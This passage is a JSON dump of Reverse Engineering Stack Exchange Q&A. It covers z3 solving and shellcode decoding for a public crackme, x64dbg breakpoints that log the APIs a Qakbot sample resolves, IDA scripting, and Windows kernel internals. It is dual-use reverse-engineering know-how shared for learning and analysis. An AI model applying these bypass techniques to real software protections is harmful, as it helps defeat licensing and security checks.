        "Answer": "<p>This feels more like a protobuf format - Use an <a href=\"https://protobuf-decoder.netlify.app/\" rel=\"nofollow noreferrer\">online decoder</a> to play around.</p>\n<pre><code>$ echo 121b0a088153000000360057200028952152040800100052040804100018bcdfcf92062002 | xxd -r -p | protoc --decode_raw\n2 {\n  1: &quot;\\201S\\000\\000\\0006\\000W&quot;\n  4: 0\n  5: 4245\n  10 {\n    1: 0\n    2: 0\n  }\n  10 {\n    1: 4\n    2: 0\n  }\n}\n3: 1649668028\n4: 2\n</code></pre>\n<p>Field 3 is 1649668028 which fits neatly with the times you mentioned. Here it is formatted in UTC</p>\n<pre><code>$ echo 121b0a088153000000360057200028952152040800100052040804100018bcdfcf92062002 | xxd -r -p | protoc --decode_raw | grep &quot;^3:&quot; | awk '{print strftime(&quot;%c&quot;, $2, 1)}'\nMon Apr 11 09:07:08 2022\n$ echo 12140a08814b4d00395805442000282252040800100018bd8bdc92062002 | xxd -r -p | protoc --decode_raw | grep &quot;^3:&quot; | awk '{print strftime(&quot;%c&quot;, $2, 1)}'\nWed Apr 13 17:17:49 2022\n</code></pre>\n<p>I need more details such as other columns - maybe phone number? to be sure.</p>\n"
    },
    {
        "Id": "30299",
        "CreationDate": "2022-04-21T15:03:16.503",
        "Body": "<p>TL;DR: I want to do this programmatically using either IDC or IDAPython and failed to find an option that works for me (also scoured <code>idc.idc</code>).</p>\n<p><a href=\"https://i.stack.imgur.com/Cl4E3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Cl4E3.png\" alt=\"Unloading type library from the GUI\" /></a></p>\n<hr />\n<p>In order to explicitly load a type library I can use <code>add_default_til()</code> (formerly <code>LoadTil()</code>). However, there doesn't appear to be any counterpart to this function to unload a previously loaded type library. And that's what I am looking for.</p>\n<p>My issue is that although <code>%ProgramFiles%\\IDA Pro 7.7\\sig\\pc\\autoload.cfg</code> does <em>not</em> list the <code>ntddk64_win7</code> and <code>ntapi64_win7</code> type libraries, they seem to get loaded implicitly <em>somehow</em>. Chances are (but I haven't found documentation to corroborate this; the only connection seems to be <code>autoload.cfg</code>) that this has to do with the following log lines:</p>\n<pre><code>Using FLIRT signature: Windows Driver Kit 7/10 64bit\nUsing FLIRT signature: Windows Driver Kit 7/10 64bit\nPropagating type information...\nFunction argument information has been propagated\nThe initial autoanalysis has been finished.\n</code></pre>\n<p>Now, I'd like to unload those two and instead load <code>ntddk64_win10</code> and <code>ntapi64_win10</code> respectively (possibly re-running auto-analysis).</p>\n<p>Alas, I haven't found a way to script this.</p>\n<p>Bonus question: <a href=\"https://reverseengineering.stackexchange.com/q/30854/245\">is there something that ties the FLIRT signatures to type libraries (<code>.til</code>) <em>aside</em> from <code>autoload.cfg</code></a>?</p>\n",
        "Title": "How to unload a type library (.til) programmatically (preferably using IDC, but IDAPython is fine, too)?",
        "Tags": "|ida|idapython|idc|",
        "Answer": "<p>To unload a type library you can use <code>del_til</code> function from <code>typeinf.hpp</code>.</p>\n<p>Usage with IDAPython:</p>\n<pre><code>import ida_typeinf\n\nida_typeinf.add_til(&quot;ntapi64_win7&quot;, ida_typeinf.ADDTIL_DEFAULT) # load a til file\nida_typeinf.del_til(&quot;ntapi64_win7&quot;) # unload a til file\n</code></pre>\n"
    },
    {
        "Id": "30303",
        "CreationDate": "2022-04-22T11:16:46.947",
        "Body": "<p>When I try to solve this crackme chall (<a href=\"https://crackmes.one/crackme/61ffb07c33c5d46c8bcbfc1d\" rel=\"nofollow noreferrer\">https://crackmes.one/crackme/61ffb07c33c5d46c8bcbfc1d</a>) , there is a condition that I can't bypass and my z3 script can't predict the input string that will bypass the condition</p>\n<p><a href=\"https://i.stack.imgur.com/52wqB.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/52wqB.jpg\" alt=\"enter image description here\" /></a></p>\n<p>and this is my z3 script</p>\n<pre><code>from z3 import *\n\nv7 = [123,456,789,987,654,321]\nv6 = [92,29,380,2,497,296]\n\ns = [BitVec(f'a{i}', 8) for i in range(5)]\n\nsolver = Solver()\n\nv20 = 0x7FFFFFFF\nfor i in range(5):\n    solver.add(s[i]&gt;32,s[i]&lt;127)\n    v20 += i * s[i]\n    solver.add(v20 % v7[i] == v6[i])\n\nsolver.check()\n</code></pre>\n",
        "Title": "Z3 is unable to predict the operand",
        "Tags": "|ida|crackme|",
        "Answer": "<p>It is to note that the division in the binary is unsigned while according to <a href=\"https://z3prover.github.io/api/html/classz3py_1_1_bit_vec_ref.html#a972c1bf635b9697a3d92d066e0ebe10c\" rel=\"nofollow noreferrer\">doc</a></p>\n<blockquote>\n<p>Use the function URem() for unsigned remainder, and SRem() for signed remainder.</p>\n</blockquote>\n<p><code>%</code> operator by default is an alias for <code>SRem</code> or signed modulo. You need to use <code>URem</code>. I have fixed your logic as well in this code</p>\n<pre><code>from z3 import *\n\nv7 = [123,456,789,987,654,321]\nv6 = [92,29,380,2,497,296]\narrl = 14\nargv1 = [BitVec(f'a{i}', 32) for i in range(arrl)]\n\nsolver = Solver()\nv18 = BitVecVal(0x7fffffff, 32)\n\nfor i in range(arrl):\n    solver.add(argv1[i] &lt; 128)\n    solver.add(argv1[i] &gt; 32)\n    v18 += i*argv1[i]\n\nfor i in range(6):\n    solver.add(URem(v18, v7[i]) == v6[i])\n\nprint(solver.check())\nprint(&quot;&quot;.join(map(chr,[solver.model()[argv1[i]].as_long() for i in range(arrl)])))\n</code></pre>\n<p>Please note that this won't solve the problem, It has additional checks.</p>\n"
    },
    {
        "Id": "30307",
        "CreationDate": "2022-04-22T19:07:16.183",
        "Body": "<p>The question seems pretty simple, but I can't achieve this simple thing in a reasonable time. I have a malware proceeding to deobfuscate a large amount of APIs in memory. Only the pointer to the functions is stored, not the name. I just wanted to quickly get a list of the API names using the trace feature when x64dbg sees the info from the register. ({a:register} gives me the symbol related to this pointer)</p>\n<p>The problem is that the TraceInto is really too slow since it has to test every non-user instruction. I have just tried to TraceInto and launches the command &quot;StepOut&quot; when the base address isn't linked to user code. <strong>But this command stops the tracing</strong>. RunToParty, RunToUserCode stop the tracing as well. I could set some commands to restart the tracing, but I haven't found any options in the documentation to <strong>append</strong> logs to the log file. The provided log file is cleared each time the tracing starts.</p>\n<p>Do you have some tricks to perform such common tasks, that is to say, TraceInto only in the usercode ?</p>\n",
        "Title": "x64dbg : TraceInto only in user code",
        "Tags": "|malware|debuggers|x64dbg|",
        "Answer": "<p>Based on the following sample:</p>\n<p><strong>be7df9b222558c6b2afce6db5b20645bf394901f3d5ba27945d5497a367c8034</strong></p>\n<p>The unpacked Quakbot payload is this:</p>\n<p><strong>c85839f837d0312d9fb5440b16fa4fe3769df6d8f986dfaa0b5a28fb9ec80e19</strong></p>\n<p>I have identified the call to the function which resolves the API names that you're asking about at address <code>0x10031E22</code>. To catch all the API names, just set a conditional breakpoint there (SHIFT-F2). In the Log Text field of the breakpoint configuration, put <code>{a:eax}</code>. Then in the Break Condition field, put <code>0</code>. With the breakpoint set, click the Run button or hit F9. You then go look at the log tab, and the API names should all be listed there. This is much faster than trying to do a trace, and you end up with the same dataset. It looks like there are more locations where API names are resolved, so you may need to rinse and repeat this process a couple times for each location where the API names are resolved. You can set multiple breakpoints for all the locations. Here is the list of API names that I collected from this sample at the address above:</p>\n<pre><code>Breakpoint at 10031E22 set!\n\n&lt;kernel32.LoadLibraryA&gt;\n&lt;kernel32.LoadLibraryW&gt;\n&lt;kernel32.FreeLibrary&gt;\n&lt;kernel32.GetProcAddress&gt;\n&lt;kernel32.GetModuleHandleA&gt;\n&lt;kernel32.CreateToolhelp32Snapshot&gt;\n&lt;kernel32.Module32First&gt;\n&lt;kernel32.Module32Next&gt;\n&lt;kernel32.WriteProcessMemory&gt;\n&lt;kernel32.OpenProcess&gt;\n&lt;kernel32.VirtualFreeEx&gt;\n&lt;kernel32.WaitForSingleObject&gt;\n&lt;kernel32.CloseHandle&gt;\n&lt;kernel32.LocalFree&gt;\n&lt;kernel32.CreateProcessW&gt;\n&lt;kernel32.ReadProcessMemory&gt;\n&lt;kernel32.Process32First&gt;\n&lt;kernel32.Process32Next&gt;\n&lt;kernel32.Process32FirstW&gt;\n&lt;kernel32.Process32NextW&gt;\n&lt;kernel32.CreateProcessAsUserW&gt;\n&lt;kernel32.VirtualAllocEx&gt;\n&lt;kernel32.VirtualAlloc&gt;\n&lt;kernel32.VirtualFree&gt;\n&lt;kernel32.OpenThread&gt;\n&lt;kernel32.Wow64DisableWow64FsRedirection&gt;\n&lt;kernel32.Wow64EnableWow64FsRedirection&gt;\n&lt;kernel32.GetVolumeInformationW&gt;\n&lt;kernel32.IsWow64Process&gt;\n&lt;kernel32.CreateThread&gt;\n&lt;kernel32.CreateFileW&gt;\n&lt;kernel32.CreateFileA&gt;\n&lt;kernel32.FindClose&gt;\n&lt;kernel32.GetFileAttributesW&gt;\n&lt;kernel32.SetFilePointer&gt;\n&lt;kernel32.WriteFile&gt;\n&lt;kernel32.ReadFile&gt;\n&lt;kernel32.CreateMutexA&gt;\n&lt;kernel32.ReleaseMutex&gt;\n&lt;kernel32.FindResourceA&gt;\n&lt;kernel32.FindResourceW&gt;\n&lt;kernel32.SizeofResource&gt;\n&lt;kernel32.LoadResource&gt;\n&lt;kernel32.GetTickCount64&gt;\n&lt;kernel32.ExpandEnvironmentStringsW&gt;\n&lt;kernel32.GetThreadContext&gt;\n&lt;kernel32.SetLastError&gt;\n&lt;kernel32.GetComputerNameW&gt;\n&lt;kernel32.Sleep&gt;\n&lt;kernel32.SleepEx&gt;\n&lt;kernel32.OpenEventA&gt;\n&lt;kernel32.SetEvent&gt;\n&lt;kernel32.CreateEventA&gt;\n&lt;kernel32.TerminateThread&gt;\n&lt;kernel32.QueryFullProcessImageNameW&gt;\n&lt;kernel32.CreateNamedPipeA&gt;\n&lt;kernel32.ConnectNamedPipe&gt;\n&lt;kernel32.GetLocalTime&gt;\n&lt;kernel32.ExitProcess&gt;\n&lt;kernel32.GetEnvironmentVariableW&gt;\n&lt;kernel32.GetExitCodeThread&gt;\n&lt;kernel32.GetFileSize&gt;\n&lt;kernel32.VirtualProtect&gt;\n&lt;kernel32.VirtualProtectEx&gt;\n&lt;kernel32.InterlockedCompareExchange&gt;\n&lt;kernel32.CreateRemoteThread&gt;\n&lt;kernel32.SetEnvironmentVariableW&gt;\n&lt;kernel32.ResumeThread&gt;\n&lt;kernel32.TerminateProcess&gt;\n&lt;ntdll.RtlAddVectoredExceptionHandler&gt;\n&lt;kernel32.DeleteFileW&gt;\n&lt;kernel32.CopyFileW&gt;\n&lt;kernel32.AllocConsole&gt;\n&lt;kernel32.SetConsoleCtrlHandler&gt;\n&lt;kernel32.GetModuleFileNameW&gt;\n&lt;kernel32.GetCurrentProcess&gt;\n&lt;kernel32.CreatePipe&gt;\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/Inf3T.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Inf3T.png\" alt=\"Breakpoint\" /></a></p>\n<p>Cheers!</p>\n"
    },
    {
        "Id": "30308",
        "CreationDate": "2022-04-22T20:49:09.597",
        "Body": "<p>As part of solving the <a href=\"https://crackmes.one/crackme/61ffb07c33c5d46c8bcbfc1d\" rel=\"nofollow noreferrer\">Hidden password</a> challenge, I found an condition calls a virtual function</p>\n<p><a href=\"https://i.stack.imgur.com/zbQ9g.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zbQ9g.jpg\" alt=\"enter image description here\" /></a></p>\n<p>the <code>v14</code> points to <code>v8</code> variable :</p>\n<p><a href=\"https://i.stack.imgur.com/flxah.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/flxah.jpg\" alt=\"enter image description here\" /></a></p>\n<p>and the functions in the program does not make sense for me, there is no two-args functions in binary program, does this bytes mean something such as signatures/evaluable code/etc..</p>\n<pre><code>  v8[0] = 0x28BF16683619A05BLL;\n  v8[1] = 0x4DD3CE3A2552E799LL;\n  v8[2] = 0xA5ED9BE182304449LL;\n  v8[3] = 0x6E27E1473B191037LL;\n  v8[4] = 0x6DA9EC4E7AC0DAECLL;\n  v8[5] = 0x8929723C31C59039LL;\n  v8[6] = 0xEA92AC15DE3C3F69LL;\n  v8[7] = 0x828DD2F713F6E8BELL;\n  v8[8] = 0xBB4D607B1C553C6FLL;\n  v8[9] = 0x7DC2D2F3EC43EF5BLL;\n  v8[10] = 0x4DAF64150084DC96LL;\n  v8[11] = 0xE1F1361E21C67AB9LL;\n  v8[12] = 0xA4B498C90BE95F82LL;\n  v8[13] = 0xB439B94451F266B5LL;\n  v8[14] = 0x2380C814A4F0145BLL;\n  v8[15] = 0x808581A5B7FB9D7ELL;\n  v8[16] = 0x589B2B23881C5633LL;\n  v8[17] = 0xBBAA188D8CDE35D8LL;\n  v8[18] = 0xF6F8FD3AEB6DD0D2LL;\n  v8[19] = 0x2FEAA6B6AE8530B8LL;\n  v8[20] = 0xB30EDC56B009E85FLL;\n  v8[21] = 0xFBD9E747FFC36C8FLL;\n  v8[22] = 0x18194F7045E8F66LL;\n  v8[23] = 0xC27B4D434FE8BEEALL;\n</code></pre>\n<pre><code>code = [\n    0x28,0xBF,0x16,0x68,0x36,0x19,0xA0,0x5B,\n    0x4D,0xD3,0xCE,0x3A,0x25,0x52,0xE7,0x99,\n    0xA5,0xED,0x9B,0xE1,0x82,0x30,0x44,0x49,\n    0x6E,0x27,0xE1,0x47,0x3B,0x19,0x10,0x37,\n    0x6D,0xA9,0xEC,0x4E,0x7A,0xC0,0xDA,0xEC,\n    0x89,0x29,0x72,0x3C,0x31,0xC5,0x90,0x39,\n    0xEA,0x92,0xAC,0x15,0xDE,0x3C,0x3F,0x69,\n    0x82,0x8D,0xD2,0xF7,0x13,0xF6,0xE8,0xBE,\n    0xBB,0x4D,0x60,0x7B,0x1C,0x55,0x3C,0x6F,\n    0x7D,0xC2,0xD2,0xF3,0xEC,0x43,0xEF,0x5B,\n    0x4D,0xAF,0x64,0x15,0x00,0x84,0xDC,0x96,\n    0xE1,0xF1,0x36,0x1E,0x21,0xC6,0x7A,0xB9,\n    0xA4,0xB4,0x98,0xC9,0x0B,0xE9,0x5F,0x82,\n    0xB4,0x39,0xB9,0x44,0x51,0xF2,0x66,0xB5,\n    0x23,0x80,0xC8,0x14,0xA4,0xF0,0x14,0x5B,\n    0x80,0x85,0x81,0xA5,0xB7,0xFB,0x9D,0x7E,\n    0x58,0x9B,0x2B,0x23,0x88,0x1C,0x56,0x33,\n    0xBB,0xAA,0x18,0x8D,0x8C,0xDE,0x35,0xD8,\n    0xF6,0xF8,0xFD,0x3A,0xEB,0x6D,0xD0,0xD2,\n    0x2F,0xEA,0xA6,0xB6,0xAE,0x85,0x30,0xB8,\n    0xB3,0x0E,0xDC,0x56,0xB0,0x09,0xE8,0x5F,\n    0xFB,0xD9,0xE7,0x47,0xFF,0xC3,0x6C,0x8F,\n    0x18,0x19,0x4F,0x70,0x45,0xE8,0xF6,0x6,\n    0xC2,0x7B,0x4D,0x43,0x4F,0xE8,0xBE,0xEA,\n    0xcb,0x87,0xce,0xb3\n]\n</code></pre>\n<p>and the XOR part <code>*((_BYTE *)v8 + (int)k) ^= v11;</code> XOR with the key generated by other function</p>\n<pre><code>unsigned __int64 sub_1169()\n{\n  // qword_4040 -&gt; 0x1\n  qword_4040 = 1103515245 * qword_4040 + 12345;\n  return ((unsigned __int64)qword_4040 &gt;&gt; 16) &amp; 0x7FFF;\n}\n</code></pre>\n<p>outputs <code>0x41c6</code> and Xor'ing that key It won't give anything understandable and even useful</p>\n<pre><code>code = [\n    0x28,0xBF,0x16,0x68,0x36,0x19,0xA0,0x5B,\n    0x4D,0xD3,0xCE,0x3A,0x25,0x52,0xE7,0x99,\n    0xA5,0xED,0x9B,0xE1,0x82,0x30,0x44,0x49,\n    0x6E,0x27,0xE1,0x47,0x3B,0x19,0x10,0x37,\n    0x6D,0xA9,0xEC,0x4E,0x7A,0xC0,0xDA,0xEC,\n    0x89,0x29,0x72,0x3C,0x31,0xC5,0x90,0x39,\n    0xEA,0x92,0xAC,0x15,0xDE,0x3C,0x3F,0x69,\n    0x82,0x8D,0xD2,0xF7,0x13,0xF6,0xE8,0xBE,\n    0xBB,0x4D,0x60,0x7B,0x1C,0x55,0x3C,0x6F,\n    0x7D,0xC2,0xD2,0xF3,0xEC,0x43,0xEF,0x5B,\n    0x4D,0xAF,0x64,0x15,0x00,0x84,0xDC,0x96,\n    0xE1,0xF1,0x36,0x1E,0x21,0xC6,0x7A,0xB9,\n    0xA4,0xB4,0x98,0xC9,0x0B,0xE9,0x5F,0x82,\n    0xB4,0x39,0xB9,0x44,0x51,0xF2,0x66,0xB5,\n    0x23,0x80,0xC8,0x14,0xA4,0xF0,0x14,0x5B,\n    0x80,0x85,0x81,0xA5,0xB7,0xFB,0x9D,0x7E,\n    0x58,0x9B,0x2B,0x23,0x88,0x1C,0x56,0x33,\n    0xBB,0xAA,0x18,0x8D,0x8C,0xDE,0x35,0xD8,\n    0xF6,0xF8,0xFD,0x3A,0xEB,0x6D,0xD0,0xD2,\n    0x2F,0xEA,0xA6,0xB6,0xAE,0x85,0x30,0xB8,\n    0xB3,0x0E,0xDC,0x56,0xB0,0x09,0xE8,0x5F,\n    0xFB,0xD9,0xE7,0x47,0xFF,0xC3,0x6C,0x8F,\n    0x18,0x19,0x4F,0x70,0x45,0xE8,0xF6,0x6,\n    0xC2,0x7B,0x4D,0x43,0x4F,0xE8,0xBE,0xEA,\n    0xcb,0x87,0xce,0xb3\n]\n\nkey = [0x41,0xc6]*98\n\ncode = &quot;&quot;\n\nfor i in range(196):\n    code+=chr(code[i]^key[i])\n</code></pre>\n<p>what is this line of code really does in this context :</p>\n<pre><code>if ( ((unsigned int (__fastcall *)(char *, size_t))v14)(a2[1], v5) )\n</code></pre>\n",
        "Title": "Decompilers points to non-existing virtual function",
        "Tags": "|ida|pointer|vtables|virtual-functions|",
        "Answer": "<p><code>sub_1169</code> is actually an LCG based random number generator. <code>sub_1155</code> sets the seed value for this LCG. So <code>sub_1155</code> is similar to <code>srand</code> and <code>sub_1169</code> is <code>rand</code></p>\n<p>Because of this the xor key is not the same for every byte.</p>\n<pre><code>srand(seed);\nfor ( k = 0; k &lt;= 196; ++k )\n{\n  v9 = rand();\n  v8[k] ^= v9;\n}\n</code></pre>\n<p>Now</p>\n<pre><code>v14 = (int (__fastcall *)(char *, int))v8;\n</code></pre>\n<p>This means we are assigning byte data pointed by <code>v8</code> as function or code - specifically a function that takes a string and an int as a param and returns an int. Something like</p>\n<pre><code>bool verify_flag(char *flag, int len);\n</code></pre>\n<p>So <code>v8</code> is some sort of shellcode which is decoded in the xor fashion as above. Later that function is called to verify <code>argv[1]</code></p>\n<pre><code>if ( v12(argv[1], v5) )\n  puts(&quot;Good password!&quot;);\nelse\n  puts(&quot;Invalid password!&quot;);\n</code></pre>\n<p>The first step of getting the shellcode decoded correctly is to figure out the input that calculates some sort of &quot;checksum&quot; which when used as seed to <code>srand</code> will decode to perfect x86_64 code. This is the &quot;checksum&quot; logic.</p>\n<pre><code>seed = 0x7FFFFFFF;\nfor ( i = 0; ; ++i )\n{\n    v3 = i;\n    if ( v3 &gt;= strlen(argv[1]) )\n    break;\n    seed += i * argv[1][i];\n}\n</code></pre>\n<p>Additionally the binary sets up some <code>mod</code> based constraints that will help you figure out the correct checksum using z3.</p>\n<pre><code>from z3 import *\n# https://reverseengineering.stackexchange.com/questions/30303/z3-is-unable-to-predict-the-operand\nv7 = [123, 456, 789, 987, 654, 321]\nv6 = [92, 29, 380, 2, 497, 296]\narrl = 14\nargv1 = [BitVec(f'a{i}', 32) for i in range(arrl)]\n\nsolver = Solver()\nv18 = BitVecVal(0x7fffffff, 32)\n\nfor i in range(arrl):\n    solver.add(argv1[i] &lt; 128)\n    solver.add(argv1[i] &gt; 32)\n    v18 += i*argv1[i]\n\nfor i in range(6):\n    solver.add(URem(v18, v7[i]) == v6[i])\n\nprint(solver.check())\nprint(&quot;&quot;.join(map(chr, [solver.model()[argv1[i]].as_long()\n      for i in range(arrl)])))\n</code></pre>\n<p>Once you know an input that will produce the correct seed for <code>srand</code> such that <code>rand</code> generates the correct order of values for <code>v8</code> shellcode to be decoded correctly.</p>\n<p>You can then run and dump this decoded shellcode or xor it statically with correct <code>rand</code> values.</p>\n<p>This shellcode similarly can be analysed with IDA and modelled with z3. Its a simple xor of 2 buffers and then compare with a static buffer.\nUnrelated to the answer, I have solved it with angr <a href=\"https://gist.github.com/sudhackar/ad9c15851f274b3248ef1645abee9ae8#file-sol-py\" rel=\"nofollow noreferrer\">here</a></p>\n"
    },
    {
        "Id": "30319",
        "CreationDate": "2022-04-24T23:50:17.347",
        "Body": "<p>I am trying to recreate a segment of assembly back into the C code.  Below is the progress I've made so far, but I'm getting stumped on a specific section.</p>\n<pre><code>00000000000010049 &lt;mysteryFunc&gt;:\n    10049:  f3 0f 1e fa             endbr64 \n    1004d:  55                      push   rbp\n    1004e:  48 89 e5                mov    rbp,rsp\n    10051:  48 89 7d d8             mov    QWORD PTR [rbp-0x28],rdi     ; This is the function call with a unsigned char ptr as input s\n    \n    10055:  66 c7 45 e8 00 00       mov    WORD PTR [rbp-0x18],0x0      ; Declaring h -- unsigned short h = 0;\n    \n    1005b:  c7 45 ec 00 00 00 00    mov    DWORD PTR [rbp-0x14],0x0     ; Declaring length -- unsigned long length = 0;\n    10062:  48 8b 45 d8             mov    rax,QWORD PTR [rbp-0x28]     ; Declaring a temp char pointer -- unsigned char *temp = s;\n    10066:  48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax\n    1006a:  eb 5f                   jmp    100cb &lt;mysteryFunc+0x82&gt;     ; This seems to be a goto call to the end of a do-while loop\n\n    1006c:  48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]     \n    10070:  48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n\n    10074:  8b 45 ec                mov    eax,DWORD PTR [rbp-0x14]     ; if(!(length &amp; 1)) {\n    10077:  83 e0 01                and    eax,0x1\n    1007a:  85 c0                   test   eax,eax\n    1007c:  75 22                   jne    100a0 &lt;mysteryFunc+0x57&gt;\n</code></pre>\n<p>I don't know what instructions in C would cause this kind of repositioning.</p>\n<pre><code>1006c:  48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]     ; What's happening here?\n10070:  48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n</code></pre>\n<p>The function does some processing of a string and checks for null within a do-while loop.  I get the feeling it's shifting to a next character, but a lot of the ways I can think to do something like that in C don't produce an assembly instruction like that.</p>\n<p>The function does some things in less than conventional ways, like a goto call to the end of a do-while loop to check if the input string is null, instead of just using a regular while loop.</p>\n",
        "Title": "C instruction causing an address shift",
        "Tags": "|assembly|x86|c|",
        "Answer": "<pre><code>1006c:  48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]\n</code></pre>\n<p>copies the value in <code>rbp-0x10</code>(local variable) to <code>rax</code>(register).</p>\n<pre><code>10070:  48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax\n</code></pre>\n<p>copies <code>rax</code> to another local variable <code>rbp-0x8</code>. Its just creating a copy of a local variable which was a copy of the first argument to <code>mysteryFunc</code>.</p>\n<p>The C-code could look something like this</p>\n<pre><code>int doSomething(char * s){\n    char * start = s, * end = s;\n</code></pre>\n<p><a href=\"https://gcc.godbolt.org/#g:!((g:!((g:!((h:codeEditor,i:(filename:%271%27,fontScale:14,fontUsePx:%270%27,j:1,lang:c%2B%2B,selection:(endColumn:33,endLineNumber:5,positionColumn:5,positionLineNumber:5,selectionStartColumn:33,selectionStartLineNumber:5,startColumn:5,startLineNumber:5),source:%27%23include%3Cassert.h%3E%0A%23include%3Cstdio.h%3E%0A%0Aint+doSomething(char+*+s)%7B%0A++++char+*+start+%3D+s,+*+end+%3D+s%3B%0A++++int+c+%3D+0%3B%0A++++while(*end)+%7B%0A++++++++c+%5E%3D+*end%3B%0A++++++++end%2B%2B%3B%0A++++%7D%0A++++return+end-start+%2B+c%3B%0A%7D%27),l:%275%27,n:%270%27,o:%27C%2B%2B+source+%231%27,t:%270%27)),k:50,l:%274%27,n:%270%27,o:%27%27,s:0,t:%270%27),(g:!((h:compiler,i:(compiler:g112,filters:(b:%270%27,binary:%271%27,commentOnly:%270%27,demangle:%270%27,directives:%270%27,execute:%271%27,intel:%270%27,libraryCode:%270%27,trim:%271%27),flagsViewOpen:%271%27,fontScale:14,fontUsePx:%270%27,j:1,lang:c%2B%2B,libs:!(),options:%27%27,selection:(endColumn:1,endLineNumber:1,positionColumn:1,positionLineNumber:1,selectionStartColumn:1,selectionStartLineNumber:1,startColumn:1,startLineNumber:1),source:1,tree:%271%27),l:%275%27,n:%270%27,o:%27x86-64+gcc+11.2+(C%2B%2B,+Editor+%231,+Compiler+%231)%27,t:%270%27)),k:50,l:%274%27,n:%270%27,o:%27%27,s:0,t:%270%27)),l:%272%27,n:%270%27,o:%27%27,t:%270%27)),version:4\" rel=\"nofollow noreferrer\">sample</a> here</p>\n"
    },
    {
        "Id": "30327",
        "CreationDate": "2022-04-26T06:02:30.663",
        "Body": "<p>I'm debugging the Windows ARM64 version's EFI (<code>bootaa64.efi</code>).</p>\n<p>Using QEMU and GDB I was able to find that <code>bootaa64.efi</code> was stuck in one of the two functions <code>BlKernelSp0SystemErrorHandler</code> and <code>BlKernelExceptionHandler</code>. The image below is two functions when I load <code>bootaa64.efi</code> to IDA.</p>\n<p><a href=\"https://i.stack.imgur.com/QQNQO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QQNQO.png\" alt=\"ida\" /></a></p>\n<p>I'm not really good at ARM64 assembly but I recognized these functions are just forever loops.</p>\n<p>The code stuck in that loop means <em>somehow</em> the function is called. But IDA just show two xref, one is the function call itself (loop) and the other is <code>.pdata</code> xref:</p>\n<p>I want to know what called these functions. Thanks!</p>\n<p><a href=\"https://i.stack.imgur.com/HDwSB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HDwSB.png\" alt=\".pdata\" /></a></p>\n",
        "Title": "IDA show xrefs in .pdata and nothing else",
        "Tags": "|ida|windows|arm|arm64|uefi|",
        "Answer": "<p>I don't know if it's true or not, but I patched the <code>B BlKernelSp0SystemErrorHandler</code> and <code>B BlKernelExceptionHandler</code> with <code>ERET</code> (aka exception return), and the EFI file jumps back and stop at the place of a <code>BRK</code> instruction (as a result of branching because a compare went wrong), which seems true for me since my KVM module didn't correctly implement that stubs yet.</p>\n<p>Hope this helps for somebody.</p>\n"
    },
    {
        "Id": "30331",
        "CreationDate": "2022-04-26T23:19:59.740",
        "Body": "<p>In Windows 10 looking at <strong>ntoskrnl!IopParseDevice</strong> I'm trying to work out the name / purpose of the flags in this check, which seem to be testing for values in a <a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_device_object?msclkid=2d5d8b95c5b411ec885d6080ba6e9290\" rel=\"nofollow noreferrer\">DEVICE_OBJECT</a> Characteristics property and the flags property. In particular checking for device object characteristics <strong>40001h</strong> and flags <strong>600100h</strong></p>\n<p>What what I can tell the 0x40000 device characteristic and flags adding up to 0x600000h aren't defined in the Windows Driver kit.</p>\n<p>The section of code is:</p>\n<pre><code>    PAGE:00000001404197CC                                                 ; 825:     Characteristics = DEVICE_OBJECT-&gt;Characteristics;\nPAGE:00000001404197CC\nPAGE:00000001404197CC                                                 loc_1404197CC:                          ; CODE XREF: IopParseDevice+CFD\u2191j\nPAGE:00000001404197CC                                                                                         ; IopParseDevice+D17\u2191j ...\nPAGE:00000001404197CC 8B 4E 34                                                        mov     ecx, [rsi+34h]\nPAGE:00000001404197CF                                                 ; 826:     if ( (Characteristics &amp; 0x40001) == 0 || (DEVICE_OBJECT-&gt;Flags &amp; 0x600100) != 0 )\nPAGE:00000001404197CF F7 C1 01 00 04 00                                               test    ecx, 40001h\nPAGE:00000001404197D5 74 64                                                           jz      short loc_14041983B\nPAGE:00000001404197D7 F7 46 30 00 01 60 00                                            test    dword ptr [rsi+30h], 600100h\nPAGE:00000001404197DE 75 5B                                                           jnz     short loc_14041983B\nPAGE:00000001404197E0                                                 ; 832:       v114 = (struct _SECURITY_SUBJECT_CONTEXT *)a3;\nPAGE:00000001404197E0 48 8B 7C 24 58                                                  mov     rdi, [rsp+208h+AccessState]\nPAGE:00000001404197E5                                                 ; 833:       if ( (Characteristics &amp; 0x100) == 0 )\nPAGE:00000001404197E5 0F BA E1 08                                                     bt      ecx, 8\nPAGE:00000001404197E9 72 55                                                           jb      short loc_140419840\nPAGE:00000001404197EB                                                 ; 835:         v215[0] = 0;\nPAGE:00000001404197EB C6 44 24 60 00                                                  mov     [rsp+208h+var_1A8], 0\nPAGE:00000001404197F0                                                 ; 836:         SeIsAppContainerOrIdentifyLevelContext(a3 + 32, v215);\nPAGE:00000001404197F0 48 8D 4F 20                                                     lea     rcx, [rdi+20h]\nPAGE:00000001404197F4 48 8D 54 24 60                                                  lea     rdx, [rsp+208h+var_1A8]\nPAGE:00000001404197F9 E8 62 C8 07 00                                                  call    SeIsAppContainerOrIdentifyLevelContext\n</code></pre>\n<p>When stepping through via a Kernel debugger, on calling nt!NtQueryFullAttributesFile with object attributes pointing to path &quot;??\\C:&quot; the value being checked with test ecx instruction is set to 0x00060000. The value for test    dword ptr [rsi+30h] (flags) differs depending on what drive I select. For ??\\C:\\ this is set to <strong>0x1150</strong> and for ??\\E:\\ it is set to <strong>0x3050.</strong></p>\n<p>In wdm.h  from Windows DDK can see the following definitions:</p>\n<pre><code>//\n// Define the various device characteristics flags\n//\n\n#define FILE_REMOVABLE_MEDIA                        0x00000001\n#define 